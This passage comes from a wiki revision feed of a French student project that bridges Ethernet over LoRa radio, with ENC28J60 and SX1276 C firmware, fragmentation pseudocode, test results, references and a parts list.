	if(enc28j60Read(EPKTCNT)==0) &lt;br /&gt;
	{&lt;br /&gt;
		return(0);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	// set the read pointer to the start of the received packet&lt;br /&gt;
	enc28j60Write(ERDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	&lt;br /&gt;
	// read the next packet pointer&lt;br /&gt;
	NextPacketPtr = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	NextPacketPtr |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
&lt;br /&gt;
	// read the packet length&lt;br /&gt;
	rcvlen = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rcvlen |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	// read the receive status&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	return(rcvlen);	&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La seconde fonction permets de lire un seul octet dans un paquet&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
unsigned char enc28j60ByteRead(void)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	return enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La troisième fonction permets de libérer le buffer&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void enc28j60FreeMemory(void)&lt;br /&gt;
{       &lt;br /&gt;
	// move the RX read pointer to the start of the next received packet&lt;br /&gt;
	// this frees the memory we just read out&lt;br /&gt;
	enc28j60Write(ERXRDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERXRDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_BIT_FIELD_SET,ECON2,ECON2_PKTDEC);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le code principal est&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		//nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive();&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=enc28j60ByteRead(); index_ethernet++;&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else&lt;br /&gt;
		{&lt;br /&gt;
			send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);&lt;br /&gt;
			enc28j60FreeMemory(); &lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avec toutes ces modifications, ces deux cartes Ethernet peuvent communiquer entre eux.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping1.jpg|thumb|upright=1.5|ping]]&lt;br /&gt;
|[[Fichier:tcpdump1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|[[Fichier:communication1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet+LoRa  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
Pour cette partie, nous essayons de mettre toutes les cartes ensemble: enc28j60+arduino+LoRa afin de réaliser la réussite de la transmission et la réception des paquets Ethernet. Cependant, nous avons rencontré deux problèmes principaux&lt;br /&gt;
* Le choix de CS d'Arduino&lt;br /&gt;
* La correspondance de la taille du paquet&lt;br /&gt;
1). Pour le premier problème, des fonctions de SPI sont déjà définies par les fonctions dans la librairie de l'enc28j60, au lieu d'utiliser des fonctions définies nous avons appelé directement la fonction '''spi_init()''' dans le répertoire SPI du LoRa. Ensuite nous avons changé le pin de CS de l'enc28j60 pour que les deux cartes puissent travailler une après l'autre.  &lt;br /&gt;
&lt;br /&gt;
2). Lorsque la longueur d'un paquet Ethernet peut atteindre 1500 octets mais la longueur maximal d'un paquet d'être enregistré dans le buffer du LoRa ne fait que 255 octets, donc nous avions le problème de correspondance de la taille du paquet. Pour résoudre ce problème nous avons fait la fragmentation. Nous avons créé un tableau de 64 octets, ensuite nous avons remplit ce tableau octet par octet. Le dernier octet est réservé pour dire le numéro du fragment et vérifier si c'est la fin du paquet.Quant à la réception, le récepteur doit recevoir des fragments en ordre. Une fois qu'il loupe un fragment, le récepteur va s'arrêter de capter des paquets et attend l'arrivée de nouveau paquet .&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:fragment.jpg|thumb|upright=2|Fragments du paquet]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Après bien avoir étudié des caratères de module LoRa SX1276 et la carte Ethernet réseau ENC28J60, pour leur faire communiquer nous avons écrit un algorithme &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Boucle&lt;br /&gt;
    Si pas de paquet Ethernet en stock Alors&lt;br /&gt;
      tenter de lire un paquet Ethernet pour le mettre en stock&lt;br /&gt;
    FSi&lt;br /&gt;
    Si pas de réception en cours Alors&lt;br /&gt;
      Si paquet Ethernet en stock Alors&lt;br /&gt;
        envoyer un fragment LoRA&lt;br /&gt;
        Si dernier fragment Alors&lt;br /&gt;
          libérer la mémoire du paquet Ethernet&lt;br /&gt;
          attendre un paquet LoRa un temps raisonnable&lt;br /&gt;
        Fsi&lt;br /&gt;
      Sinon&lt;br /&gt;
        Si un paquet Ethernet vient d'être reçu par LoRa Alors&lt;br /&gt;
          envoyer un paquet LoRa de taille 1&lt;br /&gt;
      FSi&lt;br /&gt;
    Fsi&lt;br /&gt;
    Si pas d'envoi en cours et paquet LoRa reçu Alors&lt;br /&gt;
      Si paquet est un fragment (taille &amp;gt; 1) Alors&lt;br /&gt;
        stocker le fragment dans le tampon d'envoi Ethernet&lt;br /&gt;
        Si dernier fragment Alors&lt;br /&gt;
          envoyer le paquet sur Ethernet&lt;br /&gt;
        FSi&lt;br /&gt;
      FSi&lt;br /&gt;
    FSi&lt;br /&gt;
  FinBoucle&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
En suite nous avons interprété cet algorithme en langage C&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
while(1)&lt;br /&gt;
        {&lt;br /&gt;
                if(nb_ethernet==0)&lt;br /&gt;
                {&lt;br /&gt;
                        nb_ethernet = enc28j60PacketReceive();&lt;br /&gt;
                        if(nb_ethernet&amp;gt;0 &amp;amp;&amp;amp; nb_ethernet&amp;lt;=MAX_ETHERNET)&lt;br /&gt;
                        {&lt;br /&gt;
                                index_ethernet = 0;&lt;br /&gt;
                                num_frag = 0;&lt;br /&gt;
                                output_set(5,1);&lt;br /&gt;
                        }&lt;br /&gt;
                        else nb_ethernet=0;&lt;br /&gt;
                }&lt;br /&gt;
#ifdef VERBOSE&lt;br /&gt;
                printf(&amp;quot;num=%d nb_ethernet=%d\n&amp;quot;,num,nb_ethernet);&lt;br /&gt;
                _delay_ms(100);&lt;br /&gt;
#endif&lt;br /&gt;
                if(num&amp;lt;0)&lt;br /&gt;
                {&lt;br /&gt;
                        if(nb_ethernet&amp;gt;0)&lt;br /&gt;
                        {&lt;br /&gt;
                                int i;&lt;br /&gt;
                                num=-1; rxmode=0;&lt;br /&gt;
                                if(index_ethernet &amp;lt; nb_ethernet)&lt;br /&gt;
                                {&lt;br /&gt;
                                        for(i=0;(i&amp;lt;MAX_FRAGMENT) &amp;amp;&amp;amp; (index_ethernet&amp;lt;nb_ethernet);i++)&lt;br /&gt;
                                        {&lt;br /&gt;
                                                unsigned char c = enc28j60ByteRead();&lt;br /&gt;
                                                index_ethernet++;&lt;br /&gt;
                                                packet_lora[i]=c;&lt;br /&gt;
                                        }&lt;br /&gt;
                                        if(index_ethernet &amp;lt; nb_ethernet) packet_lora[i]=0x00;&lt;br /&gt;
                                        else packet_lora[i]=0x80;&lt;br /&gt;
                                        packet_lora[i] |= num_frag++;&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                        printf(&amp;quot;ether=%d/%d num_frag=%02x taille=%d\n&amp;quot;,index_ethernet,nb_ethernet,packet_lora[i],i+1);&lt;br /&gt;
#endif&lt;br /&gt;
                                        sx1276_LoRaEntryTx();&lt;br /&gt;
                                        output_set(4,1);&lt;br /&gt;
                                        sx1276_LoRaTxPacket(packet_lora,i+1);           //transmission from LoraServer&lt;br /&gt;
                                        sx1276_LoRaTxReady();&lt;br /&gt;
                                        output_set(4,0);&lt;br /&gt;
                                        if(index_ethernet &amp;gt;= nb_ethernet)&lt;br /&gt;
                                        {&lt;br /&gt;
                                                nb_ethernet = 0;&lt;br /&gt;
                                                enc28j60FreeMemory();&lt;br /&gt;
                                                output_set(5,0);&lt;br /&gt;
                                                /* Attendre un paquet LoRa un temps raisonnable */&lt;br /&gt;
                                                unsigned char test=0;&lt;br /&gt;
                                                sx1276_LoRaEntryRx();&lt;br /&gt;
                                                rxmode=1;&lt;br /&gt;
                                                for(i=0;i&amp;lt;MAX_WAIT/GRAIN_WAIT;i++){&lt;br /&gt;
                                                        test=sx1276_LoRaRxTest();&lt;br /&gt;
                                                        if(test) break;&lt;br /&gt;
                                                        _delay_ms(GRAIN_WAIT);&lt;br /&gt;
                                                        }&lt;br /&gt;
                                                if(test){&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                                        printf(&amp;quot;Got answer!\n&amp;quot;);&lt;br /&gt;
#endif&lt;br /&gt;
                                                        }&lt;br /&gt;
                                        }&lt;br /&gt;
                                        else _delay_ms(10);&lt;br /&gt;
                                }&lt;br /&gt;
                        }&lt;br /&gt;
                        else{&lt;br /&gt;
                                if(num==-2){&lt;br /&gt;
                                        unsigned char c=0;&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                        printf(&amp;quot;Send void packet\n&amp;quot;);&lt;br /&gt;
#endif&lt;br /&gt;
                                        sx1276_LoRaEntryTx();&lt;br /&gt;
                                        sx1276_LoRaTxPacket(&amp;amp;c,1);&lt;br /&gt;
                                        sx1276_LoRaTxReady();&lt;br /&gt;
                                        num=-1;&lt;br /&gt;
                                }&lt;br /&gt;
                        }&lt;br /&gt;
                }&lt;br /&gt;
                if(index_ethernet&amp;lt;=0 || nb_ethernet==0){&lt;br /&gt;
                        if(!rxmode) sx1276_LoRaEntryRx();&lt;br /&gt;
                        rxmode=1;&lt;br /&gt;
                        }&lt;br /&gt;
                if(rxmode &amp;amp;&amp;amp; (nb_received=sx1276_LoRaRxPacket(packet_received,MAX_FRAGMENT+1))&amp;gt;0)       //receptionfrom LoraClient&lt;br /&gt;
                {&lt;br /&gt;
                        unsigned char header=packet_received[nb_received-1];&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                        printf(&amp;quot;rec=%d h=%02x\n&amp;quot;,nb_received,header);&lt;br /&gt;
#endif&lt;br /&gt;
                        if (nb_received&amp;gt;1)&lt;br /&gt;
                        {&lt;br /&gt;
                                int j;&lt;br /&gt;
                                if(num&amp;gt;=0 &amp;amp;&amp;amp; (header&amp;amp;0x7f)!=num+1) num=-1;&lt;br /&gt;
                                else{&lt;br /&gt;
                                        if(num&amp;lt;0) num=-1;&lt;br /&gt;
                                        if((header&amp;amp;0x7f)==0x00)&lt;br /&gt;
                                        {&lt;br /&gt;
                                                enc28j60InitializeSend();&lt;br /&gt;
                                                output_set(6,1);&lt;br /&gt;
                                        }&lt;br /&gt;
                                        for(j=0;j&amp;lt;nb_received-1;j++) enc28j60WriteByteSend(packet_received[j]);&lt;br /&gt;
                                        if((header&amp;amp;0x80)==0x00) num++;&lt;br /&gt;
                                        else {&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                                printf(&amp;quot;Ether sending num=%d\n&amp;quot;,num);&lt;br /&gt;
#endif&lt;br /&gt;
                                                num=-2;&lt;br /&gt;
                                                enc28j60FinalizeSend();&lt;br /&gt;
                                                output_set(6,0);&lt;br /&gt;
                                                }&lt;br /&gt;
                                        }&lt;br /&gt;
                        }&lt;br /&gt;
                        rxmode=0;&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                        printf(&amp;quot;num=%d\n&amp;quot;,num);&lt;br /&gt;
#endif&lt;br /&gt;
                }&lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons effectué des tests avec un module LoRa et une carte réseau chaque coté, nous avons réussit à envoyer des paquets icmp et des paquets arp.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:0001.jpg|thumb|upright=0.75|manipulation]]&lt;br /&gt;
|[[Fichier:0002.jpg|thumb|upright=0.75|tcpdump+ping]]&lt;br /&gt;
|[[Fichier:0003.jpg|thumb|upright=0.75|tcpdump]]&lt;br /&gt;
|[[Fichier:0004.jpg|thumb|upright=0.75|minicom]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Références =&lt;br /&gt;
&lt;br /&gt;
=== Datasheets ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_cartereseau.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_lora.pdf]]&lt;br /&gt;
&lt;br /&gt;
Micro-controleur Atmega328p: http://www.atmel.com/Images/Atmel-42735-8-bit-AVR-Microcontroller-ATmega328-328P_datasheet.pdf&lt;br /&gt;
&lt;br /&gt;
=== Documentation (Liens utiles) ===&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-feather-32u4-radio-with-lora-radio-module/downloads&lt;br /&gt;
&lt;br /&gt;
Schematic du module radio : http://modtronix.com/prod/imod/inair9/inair9_r1_sch.pdf&lt;br /&gt;
&lt;br /&gt;
Schematic du mbed : https://developer.mbed.org/media/uploads/chris/lpc1768-refdesign-schematic.pdf&lt;br /&gt;
&lt;br /&gt;
Carte MBED à base de microprocesseur ARM Cortex-3 : http://www.rennes.supelec.fr/ren/perso/jweiss/microp/mbed/mbed.php/&lt;br /&gt;
&lt;br /&gt;
Carte MBED : http://elmicro.com/en/mbed-nxp-lpc1768.html&lt;br /&gt;
&lt;br /&gt;
https://github.com/2xs/smews/tree/develop/targets/Arduino_ethernet/drivers&lt;br /&gt;
&lt;br /&gt;
= Rapport du PFE =&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_intermédiairePFE19_Chen_Nduwayo.pdf]]&lt;br /&gt;
&lt;br /&gt;
=Programme du projet=&lt;br /&gt;
[[Fichier:Bridge.tar]]&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39542</id>
		<title>P19 Relai Ethernet Lora</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39542"/>
				<updated>2017-02-24T14:59:34Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* La programmation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation générale du projet=&lt;br /&gt;
===Contexte du projet===&lt;br /&gt;
&lt;br /&gt;
L'internet des objets est un domaine en pleine croissance qui permet entre autres d'établir des interactions entre des utilisateurs et des objets connectables.&lt;br /&gt;
&lt;br /&gt;
Les domaines d'applications sont diverses et variées: du contrôle des chauffages dans nos maisons en passant par les smart cities,ou encore le tracking des marchandises,..on y retrouve des dispositifs intelligents tels que des capteurs, des interfaces de communication avec d'autres dispositifs,..&lt;br /&gt;
Aujourd'hui plusieurs équipements embarqués voient le jour, cependant les protocoles de communication n'évoluent pas autant, entraînant donc une forte consommation d'énergie, un besoin énorme en termes de mémoire, réseau,..&lt;br /&gt;
&lt;br /&gt;
Semtech,une entreprise grenobloise, crée en 19 un modem radio LoRa adapté aux besoins des objets connectés et offre une technologie de communication à faible consommation d'énergie, une longue portée(pouvant aller jusqu'à 15 km),un débit faible,..&lt;br /&gt;
&lt;br /&gt;
L'actuelle main mise du privé sur les réseaux IP n'est pas forcément une bonne chose pour Internet.&lt;br /&gt;
&lt;br /&gt;
===Objectif du projet===&lt;br /&gt;
&lt;br /&gt;
L'objectif du projet est de réaliser un module autonome connectable sur une box Internet permettant de relier deux sites avec une connexion longue distance.&lt;br /&gt;
[[Fichier:carte.png|500px|center|Schématique de l'objectif du projet]]&lt;br /&gt;
&lt;br /&gt;
===Cahier de charges===&lt;br /&gt;
Le projet se déroulera en deux phases. Nous utiliserons 2 technologies: L'ethernet et la communication par radio fréquences.&lt;br /&gt;
&lt;br /&gt;
Nous réaliserons d'abord un premier prototype construit  autour d'un AtMega328P, d'une carte Ethernet (avec un micro-contrôleur Microchip ENC28J60), et d'un modem radio LoRa.&lt;br /&gt;
Un connecteur USB est prévu pour l'alimentation.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous réaliserons un deuxième prototype sur la base d'un module MBED équipé d'un microcontroleur 32 bits à processeur ARM Cortex M3  , du même modem LoRa.&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi ce processeur pour :&lt;br /&gt;
&lt;br /&gt;
le fait qu'un module Ethernet PHY soit  intégré; qui opère au niveau de la couche physique du modèle OSI et met en œuvre la partie de la couche physique Ethernet du 1000BASE-T, 100BASE-TX, et les normes 10BASE-T.&lt;br /&gt;
&lt;br /&gt;
la vitesse du processeur très élevée,&lt;br /&gt;
&lt;br /&gt;
Présence de plusieurs périphériques série&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne l'environnement de développement,le compilateur MBED permet d'écrire des programmes en C++ qui peuvent être compilés en ligne.&lt;br /&gt;
    &lt;br /&gt;
Nous comptons également utiliser le protocole PoE (Power over Ethernet) pour l'alimentation par le port Ethernet, prévoir un protocole de communication pour la transmission des paquets Ethernet par LoRa.&lt;br /&gt;
&lt;br /&gt;
===Suivi du projet===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 1 (19/09)&lt;br /&gt;
 | Réunions avec l'encadrant de projet / Définition des objectifs / Recherche bibliographique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 2 (26/09)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 3 (03/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
  ! scope=&amp;quot;row&amp;quot; | Semaine 4 (11/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 5(18/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 6(25/10)&lt;br /&gt;
 | Recherche de la librairie C pour le SX1276&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 7(31/10)&lt;br /&gt;
 | Réalisation des schematics pour la carte1 et création des bibliothèques des composants&lt;br /&gt;
 |-&lt;br /&gt;
&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Planning prévisionnel===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Planning_.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PLANNING.png|800px|center|Planning du projet]]&lt;br /&gt;
&lt;br /&gt;
===La recherche et la documentation ===&lt;br /&gt;
====Microcontrôleur Atmega328p====&lt;br /&gt;
Atmega328p est un mono-puce microcontrôleur.&lt;br /&gt;
====Carte Réseau====&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau?=====&lt;br /&gt;
La carte réseau (appelée Network Interface Card en anglais et notée NIC) constitue l'interface entre l'ordinateur et le câble du réseau. La fonction d'une carte réseau est de préparer, d'envoyer et de contrôler les données sur le réseau. &lt;br /&gt;
&lt;br /&gt;
Pour préparer les données à envoyer, la carte réseau utilise un transceiver qui transforme les données parallèles en données séries. Chaque carte dispose d'une adresse unique, appelée adresse MAC, affectée par le constructeur de la carte, ce qui lui permet d'être identifiée de façon unique dans le monde parmi toutes les autres cartes réseau. &lt;br /&gt;
&lt;br /&gt;
=====Quel est le rôle d'une carte réseau?=====&lt;br /&gt;
Une carte réseau sert d'interface physique entre l'ordinateur et le câble. Elle prépare pour le câble réseau les données émises par l'ordinateur, les transfère vers un autre ordinateur et contrôle le flux de données entre l'ordinateur et le câble. Elle traduit aussi les données venant du câble et les traduit en octets afin que l'Unité Centrale de l'ordinateur les comprenne. Ainsi une carte réseau est une carte d'extension s'insérant dans un connecteur d'extensions (slot). &lt;br /&gt;
&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau Ethernet?=====&lt;br /&gt;
La plupart des cartes réseau destinées au grand public sont des cartes Ethernet. Elles utilisent comme support de communication des paires torsadées (8 fils en cuivre), disposant à chaque extrémité de prises RJ45. &lt;br /&gt;
&lt;br /&gt;
Les trois standards Ethernet (norme 802.3) les plus courants correspondent aux trois débits les plus fréquemment rencontrés : &lt;br /&gt;
1.Le 10Base-T permet un débit maximal de 10 Mbit/s. Le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont    utilisés.&lt;br /&gt;
2.Le 100Base-TX permet un débit maximal de 100 Mbit/s. Il est également appelé Fast Ethernet et est désormais supporté par la quasi-totalité des cartes réseau. Comme pour le 10Base-T, le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont utilisés.&lt;br /&gt;
3.Le 1000Base-T permet un débit maximal de 1 000 Mbit/s. Il est également appelé Gigabit Ethernet et se démocratise rapidement. Pour que le réseau fonctionne correctement, le câble RJ45 peut toujours mesurer jusqu'à 100 m, mais doit être de bonne qualité. Cette fois, les 8 fils sont utilisés.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ce.jpg|300px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
=====Module ENC28J60=====&lt;br /&gt;
Pour la suite de notre projet, il faut une bonne connaissance du module ENC28J60. La puce enc28j60 est Microship présente le premier controleur Ethernet 10BASE-T(10Mbits/s) reference ENC28J60 se laissant facilement piloter via un bus SPI(Serial Programming Interface) par un microcontroleur et ne comportant que 28 broches pour un boitier au format DIL.&lt;br /&gt;
Ce contrôleur Ethernet dispose d'un module MAC et PHY intégrés et de 8ko de mémoire tampon permettant de minimiser la complexité de la mise en oeuvre et le coût. Les applications visées sont : la VoIP, l'automation industrielle, l'automation de bâtiment, l'instrumentation, la sécurité et la domotique.&lt;br /&gt;
Jusqu'à lors, on ne trouvait sur le marché que des contrôleurs Ethernet tels que le RTL8019AS de Realtek. Ce circuit n'existait qu'au format CMS (boitier PQFP) composé d'une centaine de broches dont le tiers étaient destinées au bus de communication parallèle (adresses et données). Bref, sa mise en oeuvre était pour le moins ardue que ce soit sur le plan du routage du circuit imprimé que pour la soudure du composant.&lt;br /&gt;
Ainsi, grâce à son faible nombre de broches faciles à souder, le ENC28J60 permet une intégration sensiblement facilité dans votre réseau domestique en lui couplant un microcontrôleur afin de piloter les fonctionnalités Ethernet. Disponible en boitier DIL (DIP), il reste la solution la moins chère pour la mise en oeuvre d'un projet connecté au réseau Ethernet.&lt;br /&gt;
Il y a 7 sections de fonctionnalités pour ENC28J60. &lt;br /&gt;
*1). Un Interface SPI : un canal de communication entre le contrôleur hôte et l’ENC28J60.&lt;br /&gt;
*2). Les registres de control : contrôle et surveille l’ENC28J60.&lt;br /&gt;
*3). Un buffer RAM avec doubles ports : reçoit et transmet des paquets de données.&lt;br /&gt;
*4). Un arbitre : contrôle l’accès du buffer RAM quand des demandes sont faites de DMA, transmet et reçoit des blocs.&lt;br /&gt;
*5). Un interface bus : interprète des données et des commandes reçues via l’interface SPI.&lt;br /&gt;
*6). Un module MAC(Medium Access Control) : implémente IEEE 802.3 qui conforme MAC logique.&lt;br /&gt;
*7). Un module PHY (Physical Layer) : code et décode des données analogiques qui sont présentées sur l’interface à paire torsadée.&lt;br /&gt;
Le dispositif contient aussi d’autres blocs de supports, tel que l’oscillator, régulateur de tension et la logique de commande du système.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
| [[Fichier:ether.png|thumb|upright=2|L'intérieure d'enc28j60]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Il y a trois types de registres pour enc28j60: controller registre, ethernet registre et mac registre. Pour voir comment fonctionne le registre, cela contient 2+2+2 étapes, c'est à dire que l'écriture de registre et la lecture de registre, l'écriture de buffer et la lecture de buffer, l'écriture de registre PHY et la lecture de registre PHY. Les fonctions dans la librairie d'enc28j60 qui permettent de réaliser toutes ces l'écriture et la lecture sont.&lt;br /&gt;
&lt;br /&gt;
=Avancement du projet=&lt;br /&gt;
===Souder la carte Ethernet===&lt;br /&gt;
[[Fichier:carte1.JPG|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! Matériel !! Quantité requise !! Quantité disponible !! A commander !! Commentaires &lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Premier prototype (à base d'un AtMega328P) &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie Ethernet&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 49.9Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w0603149r9/res-couche-epaisse-49-9r-1-0-063w/dp/1170658]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 270Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031270r/res-couche-epaisse-270r-1-0-063w/dp/9330917]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 2.32kΩ &lt;br /&gt;
